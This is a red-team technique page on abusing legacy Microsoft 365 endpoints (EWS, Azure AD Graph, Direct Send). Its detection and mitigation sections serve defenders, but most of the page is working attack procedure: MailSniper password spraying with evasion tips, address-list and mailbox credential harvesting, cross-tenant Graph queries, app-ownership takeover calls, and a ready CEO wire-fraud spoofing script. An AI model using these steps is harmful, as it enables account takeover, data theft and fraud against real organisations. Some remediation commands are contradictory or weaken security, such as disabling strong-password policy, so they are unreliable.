| Attribute | Details |
|---|---|
| Technique ID | IA-EXPLOIT-006 |
| MITRE ATT&CK v18.1 | T1190 - Exploit Public-Facing Application |
| Tactic | Initial Access |
| Platforms | M365 (Exchange Online), Entra ID, Office 365 |
| Severity | Critical |
| CVE | CVE-2025-55241 (Azure AD Graph cross-tenant), N/A (design flaws) |
| Technique Status | ACTIVE (Many legacy endpoints still functional despite deprecation) |
| Last Verified | 2025-12-30 |
| Affected Versions | All M365 tenants with legacy protocols enabled (default) |
| Patched In | Disabled by policy (not automatic); Azure AD Graph fully deprecated Sept 2025 |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) and 11 (Sysmon Detection) not included because: (1) No specific Atomic test for M365 legacy API abuse, (2) Cloud-native endpoint without local system instrumentation. All section numbers have been dynamically renumbered based on applicability.
Concept: Microsoft 365 organizations continue to expose multiple legacy API endpoints that were designed before modern security standards (MFA, Conditional Access, API logging) became standard. These include Exchange Web Services (EWS), Azure AD Graph, Office 365 Management API, and Direct Send SMTP. Despite deprecation announcements spanning years, these endpoints remain active and largely unauthenticated—allowing attackers to bypass MFA, extract sensitive data without detection, and impersonate legitimate services. The recent CVE-2025-55241 discovery revealed that the Azure AD Graph API lacks proper tenant validation, enabling attackers to compromise ANY Entra ID tenant in the world using service-to-service tokens.[146][147][148]
Attack Surface: EWS endpoints (mail.domain.com/ews), Azure AD Graph (graph.windows.net), Office 365 Management API, Direct Send SMTP relay, NTLM Autodiscover, legacy MAPI/POP/IMAP ports, undocumented API endpoints.
Business Impact: Complete email compromise without detection (EWS bypasses MFA), tenant-wide compromise via cross-tenant Azure AD Graph exploitation, credential harvesting at scale via password spraying, phishing relay campaigns, business email compromise. Midnight Blizzard leveraged EWS to target Microsoft's own corporate email system.[146]
Technical Context: Legacy API exploitation is often invisible to security monitoring—EWS access generates no audit logs, Azure AD Graph access was completely unauthenticated, Direct Send appears as legitimate email traffic. Attackers use MailSniper, a widely available PowerShell tool, to spray passwords against EWS (9,000+ users in 9 minutes) or extract Global Address Lists (4,000+ emails in 10 seconds). These attacks remain undetectable without deep API content inspection or legacy authentication protocol monitoring.[147][166]
- Execution Risk: Low - Uses legitimate authentication endpoints; no exploitation required
- Stealth: Very High - Legacy API calls appear normal; often completely unlogged
- Reversibility: N/A - Data exfiltration; depends on what attacker targets
| Framework | Control / ID | Description |
|---|---|---|
| CIS Microsoft 365 | 1.1.1 | Block legacy authentication in Conditional Access |
| CIS Microsoft 365 | 1.4.1 | Disable legacy authentication protocols (SMTP AUTH, POP, IMAP) |
| NIST 800-53 | AC-3 | Access Enforcement (legacy auth bypasses controls) |
| NIST 800-53 | AC-6 | Least Privilege (legacy protocols = unrestricted access) |
| GDPR | Art. 32 | Security of Processing (inadequate auth mechanisms) |
| PCI DSS | 2.2 | Change defaults; disable unnecessary services |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27001 | A.14.2.1 | System hardening and endpoint configuration |
- Required Privileges: None (unauthenticated or basic auth)
- Required Access: Network connectivity to legacy API endpoints; valid credentials for some vectors
- Required Knowledge: API endpoint discovery, HTTP request construction, PowerShell (for MailSniper)
Supported Versions:
- M365 Tenants: All (if legacy protocols not disabled)
- Exchange Online: All versions; EWS enabled by default
- Azure AD Graph: All tenants (until Sept 2025 deprecation deadline)
- Office 365 Management API: All versions
Tools:
- MailSniper (PowerShell; password spray, GAL extraction, email search)
- curl (HTTP requests to API endpoints)
- MFASweep (Detect MFA inconsistencies across Microsoft services)
- Ruler (EWS rules manipulation for persistence)
- ADExplorer (LDAP/AD reconnaissance)
- Burp Suite (API traffic interception/manipulation)
# Test EWS endpoint accessibility
curl -sk https://mail.domain.com/EWS/Exchange.asmx
# Expected vulnerable response (200 OK):
# <?xml version="1.0"?>
# <soap:Envelope xmlns:soap="...">
# <soap:Body>
# <m:GetServerTime RequestServerVersion="Exchange2013">
# ...
# Test if EWS accepts basic authentication (no OAuth)
curl -sk -u username:password https://mail.domain.com/EWS/Exchange.asmx
# Test Azure AD Graph access (deprecated but still active)
curl -X GET \
-H "Authorization: Bearer <TOKEN>" \
https://graph.windows.net/myorganization/users?api-version=1.6
# Test Office 365 Management API
curl -X GET \
-H "Authorization: Bearer <TOKEN>" \
https://manage.office.com/api/v1.0/subscriptions
# Test Direct Send SMTP
telnet smtp.office365.com 25
# Send email without authentication (if enabled)# Download and run MFASweep to detect MFA gaps
git clone https://github.com/dafthack/MFASweep
cd MFASweep
powershell -ep bypass
Import-Module .\MFASweep.ps1
Invoke-MFASweep -Username user@domain.com -Password password123
# MFASweep will test:
# - Outlook Web Access (OWA) - MFA protected?
# - Exchange Web Services (EWS) - MFA protected?
# - Office 365 Management API - MFA protected?
# - Teams - MFA protected?
# - SharePoint - MFA protected?Expected Output (Vulnerable):
OWA: MFA ENABLED (2FA required)
EWS: MFA NOT ENFORCED (Basic auth accepted)
Teams: MFA ENABLED
>> EWS is a MFA bypass vector!
# Connect to Exchange Online
Connect-ExchangeOnline
# Check current legacy authentication settings
Get-OrganizationConfig | Select-Object -Property OAuth2ClientProfileEnabled
# List users currently using legacy protocols (requires Entra P1/P2)
Get-AzureADUser -All $true | Where-Object {$_.DeviceOsType -eq "Android" -or $_.DeviceOsType -eq "iOS"} | Get-MobileDeviceStatistics | Where-Object {$_.UserAgent -match "IMAP|POP|SMTP"}
# Alternative: Check Sign-in Logs
# Azure Portal → Entra ID → Sign-in logs → Filter by ClientAppUsed = "POP", "IMAP", "SMTP", "MAPI", "EWS"Supported Versions: All Exchange Online versions
Objective: Locate externally accessible EWS endpoint
Command (Subdomain Enumeration):
# Subdomain enumeration to find EWS endpoint
curl -s "https://mail.domain.com/EWS/Exchange.asmx" -I
# Common EWS locations:
# https://mail.domain.com/EWS/Exchange.asmx
# https://domain.com/ews/Exchange.asmx
# https://outlook.domain.com/ews/Exchange.asmx
# https://exchange.domain.com/ews/Exchange.asmx
# If found (200 OK), EWS is accessibleCommand (Via Shodan/Search Engines):
# Search for exposed EWS endpoints
shodan search "ews/exchange.asmx"
site:domain.com EWS
# OR brute-force common subdomains
for subdomain in mail exchange outlook owa; do
curl -s "https://${subdomain}.domain.com/EWS/Exchange.asmx" -o /dev/null && echo "Found: ${subdomain}.domain.com"
doneObjective: Discover valid credentials using password spraying (avoids lockout)
Command (MailSniper Setup):
# Download MailSniper
git clone https://github.com/dafthack/MailSniper
cd MailSniper
powershell -ep bypass
Import-Module .\MailSniper.ps1
# Password spray against EWS endpoint
$passwords = @("Fall2024", "Winter2024", "Password123!", "Company2024")
$userlist = Get-Content users.txt # Pre-compiled list of valid usernames
# Invoke password spray (multi-threaded)
Invoke-PasswordSprayEWS -ExchHostname mail.domain.com `
-UserList $userlist `
-Passwords $passwords `
-Threads 15 `
-OutFile valid_creds.txt
# Expected output:
# [+] Valid credentials found!
# user1@domain.com:Fall2024
# user2@domain.com:Winter2024
# user15@domain.com:Password123!Expected Behavior:
- Credentials obtained in 9-15 minutes for 10,000 users
- Much faster than OWA spraying (which took 1 hour 45 minutes in testing)
- Minimal lockout due to thread spacing and target selection
OpSec & Evasion:
- Use residential proxies to mask source IP
- Distribute spraying over hours/days (avoid rate-limit detection)
- Target only low-value users first (service accounts, contractors)
- Use multi-threaded approach (15-20 threads recommended)
Troubleshooting:
-
Error:
401 Unauthorized- Cause: Credentials invalid OR EWS requires OAuth
- Fix: Verify credentials are correct; test with MFASweep first
-
Error:
403 Forbidden- Cause: Account is disabled or mailbox inaccessible
- Fix: Move to next credential; this is expected for some accounts
Objective: Obtain all organization email addresses for further targeting
Command (MailSniper - FindPeople Function):
# Extract GAL from OWA using valid credentials
Get-GlobalAddressList -ExchHostname mail.domain.com `
-UserName user1@domain.com `
-Password Fall2024 `
-OutFile gal.txt
# Output contains 4,000+ email addresses in seconds
# Format: user@domain.com, user@domain.com, ...
# Use extracted GAL for:
# - Further password spraying
# - Phishing target selection
# - Executive/admin identification
# - Social engineeringExpected Output:
[*] Using EWS URL https://mail.domain.com/EWS/Exchange.asmx
[+] Using Exchange version Exchange2013
[+] Successfully connected to Exchange
[*] Extracting Global Address List
[+] Found 4,282 email addresses
[+] Saving GAL to gal.txt
What This Means:
- Complete company directory obtained in seconds
- No MFA required (EWS endpoint bypasses it)
- No audit logs created (EWS not logged by default)
- Enables targeted phishing campaigns
Objective: Extract emails containing credentials, secrets, or sensitive keywords
Command (MailSniper - Inbox Search):
# Search target mailbox for sensitive keywords
Invoke-SelfSearch -Mailbox user1@domain.com `
-ExchHostname mail.domain.com `
-Terms @("password", "creds", "credentials", "secret", "api_key", "admin") `
-OutputPath exfiltrated_emails.csv
# When prompted for credentials, enter the compromised user's password
# PowerShell will open interactive session and search mailbox
# Alternative: Global search (if attacker has higher privileges)
Invoke-GlobalMailSearch -ExchHostname mail.domain.com `
-Terms @("password", "admin", "credentials", "vpc", "config") `
-ExchangeVersion Exchange2013 `
-OutputPath all_org_emails.csvExpected Output:
[*] Searching mailbox: user1@domain.com
[*] Found 47 emails containing search terms
[*] Email 1: From: admin@domain.com
Subject: [URGENT] Password Reset - use: Admin@2024!
[*] Email 2: From: devops@domain.com
Subject: AWS_KEY_ID=AKIA123456789ABC
[*] Email 3: From: database@domain.com
Subject: DB Credentials - Prod: user=admin, password=SecureDB#999
[+] Saving all emails to all_org_emails.csv
What This Means:
- Attacker now has plaintext credentials from email conversations
- AWS keys, database passwords, API tokens extracted
- Enables lateral movement to cloud infrastructure
- No detection; EWS searches are unlogged
Supported Versions: All Entra ID tenants (vulnerable until manual remediation)
Objective: Extract or forge S2S token that bypasses tenant validation
Vulnerability Context: Azure AD Graph API does not validate token originating tenant[148]
Command (Token Extraction):
# If attacker has compromised a service principal or has access to a legitimate application:
# The actor token (undocumented S2S token) can be extracted from:
# 1. Intercepted API requests
# 2. Application configuration files
# 3. Compromised code repositories (GitHub secrets)
# Example: Token in leaked appsettings.json
cat appsettings.json | grep -i "token\|secret\|key"
# Look for patterns like:
# "ActorToken": "eyJ0eXAiOiJKV1QiLCJhbGc..."
# "ServicePrincipalCredential": "..."Command (Token Validation):
# Decode JWT token to verify contents
echo "eyJ0eXAiOiJKV1QiLCJhbGc..." | base64 -d | jq .
# Expected payload:
# {
# "aud": "https://graph.windows.net",
# "iss": "https://sts.windows.net/[TENANT_ID]",
# "actor": "system:service-principal",
# "iat": 1735689600,
# "exp": 1735693200
# }Objective: Access another organization's Entra ID data using compromised token
Command (Cross-Tenant Access):
# Using the compromised S2S token, query a target tenant
# Note: No tenant ID required in URL; token grants access to any tenant
curl -X GET \
-H "Authorization: Bearer <ACTOR_TOKEN>" \
https://graph.windows.net/[TARGET_TENANT]/users?api-version=1.6
# Response contains ALL users in target tenant:
# {
# "value": [
# {
# "objectId": "12345678-1234-1234-1234-123456789012",
# "userPrincipalName": "admin@targetcompany.com",
# "displayName": "Target Admin",
# "mail": "admin@targetcompany.com"
# },
# ...
# ]
# }
# Query groups and role assignments
curl -X GET \
-H "Authorization: Bearer <ACTOR_TOKEN>" \
https://graph.windows.net/[TARGET_TENANT]/groups?api-version=1.6
curl -X GET \
-H "Authorization: Bearer <ACTOR_TOKEN>" \
https://graph.windows.net/[TARGET_TENANT]/me/memberOf?api-version=1.6
# Extract all cloud apps and service principals
curl -X GET \
-H "Authorization: Bearer <ACTOR_TOKEN>" \
https://graph.windows.net/[TARGET_TENANT]/servicePrincipals?api-version=1.6Expected Output:
{
"value": [
{
"appId": "12345678-1234-1234-1234-123456789012",
"displayName": "Target Org Cloud App",
"appOwnerTenantId": "[TARGET_TENANT]",
"servicePrincipalType": "Application",
"appRoleAssignmentRequired": false
}
]
}What This Means:
- Attacker now has complete tenant directory (users, groups, roles)
- NO CONDITIONAL ACCESS applied (token is S2S)
- NO MFA required (service-to-service)
- NO AUDIT LOGS (Graph API audit was not enabled)
- Can impersonate any user or application
Objective: Grant attacker ownership of high-privilege applications
Command (Application Ownership Modification):
# Query for cloud applications with administrative roles
curl -X GET \
-H "Authorization: Bearer <ACTOR_TOKEN>" \
https://graph.windows.net/[TARGET_TENANT]/appRoleAssignments?api-version=1.6 \
| grep -E "Directory.ReadWrite.All|User.ReadWrite.All|Application.ReadWrite.All"
# If attacker has sufficient permissions, modify app ownership:
curl -X PATCH \
-H "Authorization: Bearer <ACTOR_TOKEN>" \
-H "Content-Type: application/json" \
https://graph.windows.net/[TARGET_TENANT]/servicePrincipals/[APP_ID]?api-version=1.6 \
-d '{
"appOwnerTenantId": "[ATTACKER_TENANT]",
"owners": ["[ATTACKER_SERVICE_PRINCIPAL]"]
}'
# Attacker now owns cloud app; can:
# - Modify application permissions
# - Issue credentials for impersonation
# - Access all resources the app can accessImpact:
- Global Admin equivalent access (via app ownership)
- Bypass all Conditional Access policies
- Exfiltrate all tenant data (users, groups, secrets, BitLocker keys)
- Establish persistent backdoor
Supported Versions: All Exchange Online tenants with Direct Send enabled
Objective: Send email appearing to originate from legitimate internal sender
Command (PowerShell):
# Configure SMTP connection (no authentication)
$smtpServer = "smtp.office365.com"
$smtpPort = 25 # Or 587
# Create email message
$from = "ceo@targetcompany.com" # Spoofed sender (internal domain)
$to = "victim@external.com"
$subject = "[URGENT] Wire Transfer Approval Required"
$body = @"
Please approve immediate wire transfer of $500,000 to:
Account: [ATTACKER_BANK_ACCOUNT]
Reference: Project-XYZ-Confidential
This is time-sensitive. Confirm receipt.
- CEO
"@
# Send via Direct Send SMTP
$smtp = New-Object Net.Mail.SmtpClient($smtpServer, $smtpPort)
$smtp.EnableSSL = $true
$msg = New-Object System.Net.Mail.MailMessage($from, $to, $subject, $body)
$smtp.Send($msg)
Write-Host "[+] Spoofed email sent from $from to $to"Command (curl Alternative):
# Send via SMTP protocol directly
curl --url "smtp://smtp.office365.com:25" \
--mail-from "ceo@targetcompany.com" \
--mail-rcpt "victim@external.com" \
--upload-file email.txtExpected Behavior:
- Email delivered to victim's inbox
- Appears to come from internal sender (CEO, CFO, etc.)
- Bypasses SPF/DKIM/DMARC (Direct Send intentionally designed this way)
- No authentication required (Open relay behavior)
- Difficult to detect without deep header analysis
Impact:
- Business Email Compromise (BEC) at scale
- Wire fraud, credential harvesting, malware distribution
- No authentication trail (appears legitimate)
Rule Configuration:
- Required Index:
o365_exchange,microsoft_365_audit - Required Sourcetype:
o365:exchange:audit,microsoft365:exchange:log - Required Fields:
Operation,UserAgent,ClientIP,ResultStatus - Alert Threshold: > 10 failed authentications to EWS from same IP in 5 minutes
- Applies To Versions: All Exchange Online
SPL Query:
sourcetype="o365:exchange:audit"
Operation IN ("ExternalIdentityProviderSignInSuccess", "UserLoggedIn")
ClientIP!=*
UserAgent="MailSniper*" OR UserAgent="Ruler*" OR ClientIP IN (residential_proxy_ranges)
| stats count as AuthAttempts by ClientIP, UserAgent, AffectedUser
| where AuthAttempts > 10
| search AuthAttempts > 10
What This Detects:
- Multiple failed EWS authentication attempts from single IP
- Use of known attack tools (MailSniper User-Agent)
- Password spray pattern against EWS endpoint
- Unusual geographic origins (residential proxies)
Rule Configuration:
- Required Index:
azure_activity - Required Sourcetype:
azure:graphapi:audit - Required Fields:
OperationName,TargetResources,CallerIpAddress - Alert Threshold: Any access to graph.windows.net endpoint
- Applies To Versions: All Entra ID tenants
SPL Query:
sourcetype="azure:graphapi:audit"
endpoint="graph.windows.net"
OR url contains "graph.windows.net"
| stats count by CallerIpAddress, endpoint, OperationName
| where count > 0
What This Detects:
- Any access to deprecated Azure AD Graph API (should be 0)
- Potential CVE-2025-55241 exploitation
- Legacy application still using deprecated endpoint
- Suspicious cross-tenant queries
Rule Configuration:
- Required Table:
SigninLogs,AuditLogs - Required Fields:
ClientAppUsed,AuthenticationProtocol,ResultType,IPAddress - Alert Severity: High
- Frequency: Real-time (every 5 minutes)
- Applies To Versions: All M365 tenants
KQL Query:
SigninLogs
| where ClientAppUsed in ("Exchange Web Services", "SMTP", "POP", "IMAP")
and ResultType contains "Failure" or ResultType contains "MFADenied"
| extend SourceIP = IPAddress
| summarize FailureCount = count() by SourceIP, ClientAppUsed, UserPrincipalName
| where FailureCount > 10
| project SourceIP, ClientAppUsed, UserPrincipalName, FailureCountWhat This Detects:
- Multiple failed EWS authentication attempts
- Legacy protocol abuse attempts
- Password spray activity against email
- MFA bypass attempts via legacy endpoints
Manual Configuration (Azure Portal):
- Navigate to Azure Portal → Microsoft Sentinel
- Select workspace → Analytics → + Create → Scheduled query rule
- General Tab:
- Name:
Legacy API (EWS/SMTP) Authentication Failures - Potential Password Spray - Severity:
High
- Name:
- Set rule logic Tab:
- Paste KQL query above
- Run query every:
5 minutes - Lookup data from the last:
1 hour
- Incident settings: Enable Create incidents
- Click Review + create
Rule Configuration:
- Required Table:
AuditLogs,CloudAppEvents - Required Fields:
OperationName,AppDisplayName,ResultDescription - Alert Severity: Critical
- Applies To Versions: All Entra ID
KQL Query:
AuditLogs
| where OperationName contains "Azure AD Graph"
or TargetResources contains "graph.windows.net"
| extend TenantIdFromEndpoint = extract(@"graph.windows.net/([a-z0-9-]+)", 1, tostring(TargetResources))
| where TenantIdFromEndpoint != InitiatedByAppName
| summarize AccessCount = count() by InitiatedByAppName, TenantIdFromEndpoint, OperationName
| where AccessCount > 0 or TenantIdFromEndpoint != ""What This Detects:
- Deprecated Azure AD Graph API being called
- Cross-tenant access attempts
- Potential CVE-2025-55241 exploitation
- Service principals accessing legacy endpoints
Alert Name: "Legacy Authentication Protocol Detected (EWS/SMTP/POP/IMAP)"
- Severity: High
- Description: Connection attempt using legacy authentication protocol (EWS, SMTP AUTH, POP, IMAP) - no MFA enforcement
- Applies To: All M365 tenants
- Remediation: Disable legacy authentication; migrate to modern auth
Alert Name: "Suspicious Azure AD Graph API Access Detected"
- Severity: Critical
- Description: Deprecated Azure AD Graph API endpoint (graph.windows.net) being accessed - potential CVE-2025-55241
- Applies To: All Entra ID tenants
- Remediation: Block graph.windows.net; ensure applications migrated to Microsoft Graph
Manual Configuration (Enable Defender for Cloud):
- Navigate to Azure Portal → Microsoft Defender for Cloud
- Go to Environment settings → Select subscription
- Under Defender plans, enable:
- Defender for Cloud Apps: ON
- Defender for Identity: ON
- Click Save
- Navigate to Alerts to view triggered detections
Reference: Microsoft Defender for Cloud - Cloud Apps Security
- Authentication Patterns: Multiple failed EWS/SMTP/POP/IMAP logins from same IP
- API Access: graph.windows.net requests from service principals
- Email Artifacts: Direct Send SMTP messages without authentication header
- Process Activity: PowerShell running MailSniper, Ruler, MFASweep
- Network: Connections to smtp.office365.com:25 (unencrypted Direct Send)
- Timing: Password spray pattern (consistent interval, multiple accounts)
- Unified Audit Log: SigninLogs showing legacy protocol usage
- Office 365 Audit Logs: EWS searches, mailbox access patterns
- Azure AD Graph Access Logs: Queries to deprecated endpoints (if enabled)
- Exchange Trace Logs: EWS SOAP requests (if available)
- PowerShell History: MailSniper command execution history
Command (Disable Compromised Account):
# Disable user account immediately
Disable-AzureADUser -ObjectId user1@domain.com
# Revoke all sessions
Connect-ExchangeOnline
Remove-PSSession $ExchangeSession
# Reset password (force sign-out)
Set-AzureADUserPassword -ObjectId user1@domain.com -Password (ConvertTo-SecureString -AsPlainText "NewPassword123!" -Force) -EnforceChangePasswordPolicy $trueCommand (Block Legacy Authentication):
# Immediately block the legacy protocol on the account
Set-CASMailbox -Identity user1@domain.com -PopEnabled $false -ImapEnabled $false -MAPIEnabled $false -ActiveSyncEnabled $false -SmtpClientAuthenticationDisabled $trueCommand (Export EWS Activity):
# Export mailbox audit logs to identify what was accessed
Search-MailboxAuditLog -Identity user1@domain.com -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) -Operations Copy, Move, MoveToDeletedItems, SoftDelete, HardDelete | Export-CSV -Path ews_audit.csv
# Export sign-in logs showing legacy auth usage
Get-AzureADUser -ObjectId user1@domain.com | Get-MobileDeviceStatistics | Export-Csv device_logs.csvCommand (Identify Exfiltrated Data):
# Check mailbox forwarding rules (persistence mechanism)
Get-InboxRule -Mailbox user1@domain.com | Where-Object {$_.ForwardTo -ne $null}
# Check for deleted emails (may indicate cover-up)
Search-MailboxAuditLog -Identity user1@domain.com -Operations HardDelete, SoftDelete | Select-Object UserLastName, Operation, MailboxOwnerUPN, ItemSubjectCommand (Full Account Remediation):
# 1. Revoke all refresh tokens (sign out all sessions)
Revoke-AzureADUserAllRefreshToken -ObjectId user1@domain.com
# 2. Remove suspicious OAuth consents
Get-AzureADUser -ObjectId user1@domain.com | Get-AzureADUserOAuth2PermissionGrant | Remove-AzureADOAuth2PermissionGrant
# 3. Re-enable with modern auth only
Set-CASMailbox -Identity user1@domain.com -PopEnabled $false -ImapEnabled $false -MAPIEnabled $false -SmtpClientAuthenticationDisabled $true -OWAEnabled $true
# 4. Force password reset on next login
Set-AzureADUser -ObjectId user1@domain.com -PasswordPolicies "DisablePasswordExpiration, DisableStrongPassword"1. Disable All Legacy Authentication Protocols
Manual Steps (Microsoft 365 Admin Center):
- Go to Microsoft 365 Admin Center
- Navigate to Settings → Org settings → Modern Authentication
- Uncheck the following (disable all legacy protocols):
- IMAP4
- POP3
- SMTP AUTH
- MAPI
- Exchange Web Services (EWS)
- Exchange ActiveSync (EAS)
- Click Save
Manual Steps (PowerShell - Tenant-Wide):
# Connect to Exchange Online
Connect-ExchangeOnline
# Disable legacy auth globally
Set-OrganizationConfig -OAuth2ClientProfileEnabled $true
# Disable specific protocols
Set-OrganizationConfig -ImapEnabled $false
Set-OrganizationConfig -PopEnabled $false
Set-OrganizationConfig -SmtpClientAuthenticationDisabled $true
Set-OrganizationConfig -ActiveSyncEnabled $false
Set-OrganizationConfig -OwaClientAuthenticationMethod Modern
# Verify settings
Get-OrganizationConfig | Select-Object -Property OAuth2ClientProfileEnabled, ImapEnabled, PopEnabled, SmtpClientAuthenticationDisabledManual Steps (Conditional Access - Block Legacy Auth):
- Go to Entra Admin Center (entra.microsoft.com)
- Navigate to Security → Conditional Access → + New policy
- Name: Block Legacy Authentication
- Assignments:
- Users or workload identities: All users
- Cloud apps or actions: All cloud apps
- Conditions:
- Client apps: Other clients (legacy protocols)
- Grant: Block access
- Enable policy: ON
- Click Create
Validation Command:
# Verify legacy protocols are disabled
Get-OrganizationConfig | Select-Object ImapEnabled, PopEnabled, SmtpClientAuthenticationDisabled
# Expected output (all should be False/Disabled):
# ImapEnabled : False
# PopEnabled : False
# SmtpClientAuthenticationDisabled : True2. Block Azure AD Graph API (graph.windows.net)
Manual Steps (Entra ID):
- Go to Entra Admin Center → Applications → App registrations
- Search for any app using
graph.windows.net - For each found app:
- Click app → API Permissions
- Remove any permissions to Azure AD Graph
- Add equivalent permissions to Microsoft Graph API
- Alternatively, set tenant-wide policy:
Update-MgDirectory -BlockAzureADGraphAccess $true
Manual Steps (PowerShell - Block Legacy Graph):
# Block all Azure AD Graph API access tenant-wide
Update-MgServicePrincipal -ServicePrincipalId "00000002-0000-0000-c000-000000000000" -AccountEnabled $false
# Verify:
Get-MgServicePrincipal -ServicePrincipalId "00000002-0000-0000-c000-000000000000" | Select-Object DisplayName, AccountEnabled3. Disable Direct Send SMTP
Manual Steps (Exchange Online):
# Disable unauthenticated Direct Send
Set-TransportConfig -SmtpClientAuthenticationDisabled $true
# Require authenticated SMTP instead
Set-TransportConfig -SmtpClientAuthenticationDisabled $false
# Create transport rule to block spoofing
New-TransportRule -Name "Block Direct Send Spoofing" `
-SenderAddressLocation "Header" `
-FromAddressMatchesRecipientDomain $true `
-SetAuditSeverity High `
-RejectMessageReasonText "Direct Send spoofing detected"4. Enable Conditional Access for Legacy Auth Detection
Manual Steps:
- Create Conditional Access policy (see Step 1 for details)
- Set alert notifications:
# Get legacy auth sign-ins daily Get-SignInLogs -Filter "clientAppUsed in ('POP', 'IMAP', 'SMTP', 'MAPI', 'EWS')" -Top 10
5. Monitor Legacy Authentication Usage
Manual Steps (Sign-in Logs):
- Go to Entra Admin Center → Sign-in logs
- Filter by:
- Client app used: POP, IMAP, SMTP, MAPI, EWS, Other clients
- Status: Success (to find actual legacy usage)
- Review results; identify and disable these accounts
- Export logs for SIEM ingestion
Validation Command (Verify Mitigations):
# Test that legacy auth is blocked
$creds = New-Object System.Management.Automation.PSCredential("user@domain.com", (ConvertTo-SecureString "password" -AsPlainText -Force))
# This should FAIL if legacy auth is disabled:
$mailbox = Get-Mailbox -Identity user@domain.com -Credential $creds
# Expected error (if properly hardened):
# "AuthenticationProtocol: Modern authentication required"
# Verify modern auth works:
Connect-ExchangeOnline -UserPrincipalName user@domain.com
# This should succeed with modern interactive auth| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [T1589 - Gather Victim Identity Info] | Enumerate domain, discover EWS endpoint |
| 2 | Initial Access | [IA-EXPLOIT-006] | Legacy API (EWS, Azure AD Graph, Direct Send) Abuse |
| 3 | Credential Access | [T1110.003 - Brute Force: Password Spray] | MailSniper spray against EWS endpoint |
| 4 | Collection | [T1114.002 - Email Collection] | Extract GAL, search for sensitive keywords in emails |
| 5 | Lateral Movement | [T1550.001 - Use Alternate Authentication] | Use stolen credentials for lateral movement |
| 6 | Exfiltration | [T1537 - Transfer Data to Cloud Account] | Exfiltrate emails to attacker account |
| 7 | Impact | [T1583 - Acquire Infrastructure] | Establish BEC campaign using Direct Send |
-
Target: Microsoft Corporation (2024 breach)
-
Timeline: January 12, 2024
-
Technique Status: ACTIVE - EWS remains default enabled
-
Attack Vector: Initial compromise + EWS to retrieve OAuth app secrets
-
Attack Chain:
- Initial compromise via legacy account
- Bypass legacy MFA by accessing EWS endpoint (MFA not enforced there)
- Use EWS to extract emails containing OAuth app credentials
- Register malicious OAuth applications
- Use OAuth apps to hide malicious activity
- Maintained access even after initial compromise was remediated
-
Impact: Corporate email compromise; proof-of-concept for nation-state capabilities
-
Reference: Microsoft - Midnight Blizzard Guidance[146]
-
Target: ALL Entra ID tenants (potential global compromise)
-
Timeline: Discovered July 2025 by Dirk-jan Mollema; patched Sept 2025
-
Technique Status: FIXED (patch released) but many organizations still vulnerable (awaiting manual remediation)
-
Vulnerability: Azure AD Graph API (
graph.windows.net) lacks tenant validation -
Attack Flow:
- Attacker obtains S2S actor token (via leaked credentials, compromised app, GitHub secrets)
- Queries Azure AD Graph API without specifying tenant
- Token grants access to ANY tenant (no validation)
- Attacker reads all users, groups, apps, role assignments
- Impersonates admin applications or creates backdoor service principals
- Exfiltrates BitLocker keys synced to Entra ID
- Bypasses Conditional Access and logging (S2S tokens not subject to CA)
-
Impact: Potential compromise of any organization using Entra ID
-
Detection Avoidance: Azure AD Graph API had NO logging (dark attack)
-
Reference: One Token to Rule Them All - Azure AD Graph CVE-2025-55241[179]
-
Target: Enterprise organizations
-
Timeline: February 2025 (ongoing)
-
Technique Status: ACTIVE
-
Attack Vector: Device code phishing → Graph API email exfiltration
-
Attack Flow:
- Attacker sends fake Teams meeting invite with device code
- Victim enters device code at attacker's phishing site
- Attacker gains refresh token + Primary Refresh Token (PRT)
- Uses tokens to authenticate to Microsoft Graph
- Queries Microsoft Graph for emails containing keywords
- Searches for: "password", "admin", "credentials", "secret", "ministry", "gov"
- Exfiltrates matching emails
- Recently pivoted to using Microsoft Authentication Broker client ID (even more stealthy)
-
Impact: Targeted credential harvesting from enterprises and government
-
References: Storm-2372 Device Code Phishing Campaign[152]
- MailSniper - EWS/OWA password spray, GAL extraction, email search
- MFASweep - Detect MFA gaps across Microsoft services
- Ruler - EWS rules manipulation for persistence
- ADExplorer - LDAP/directory reconnaissance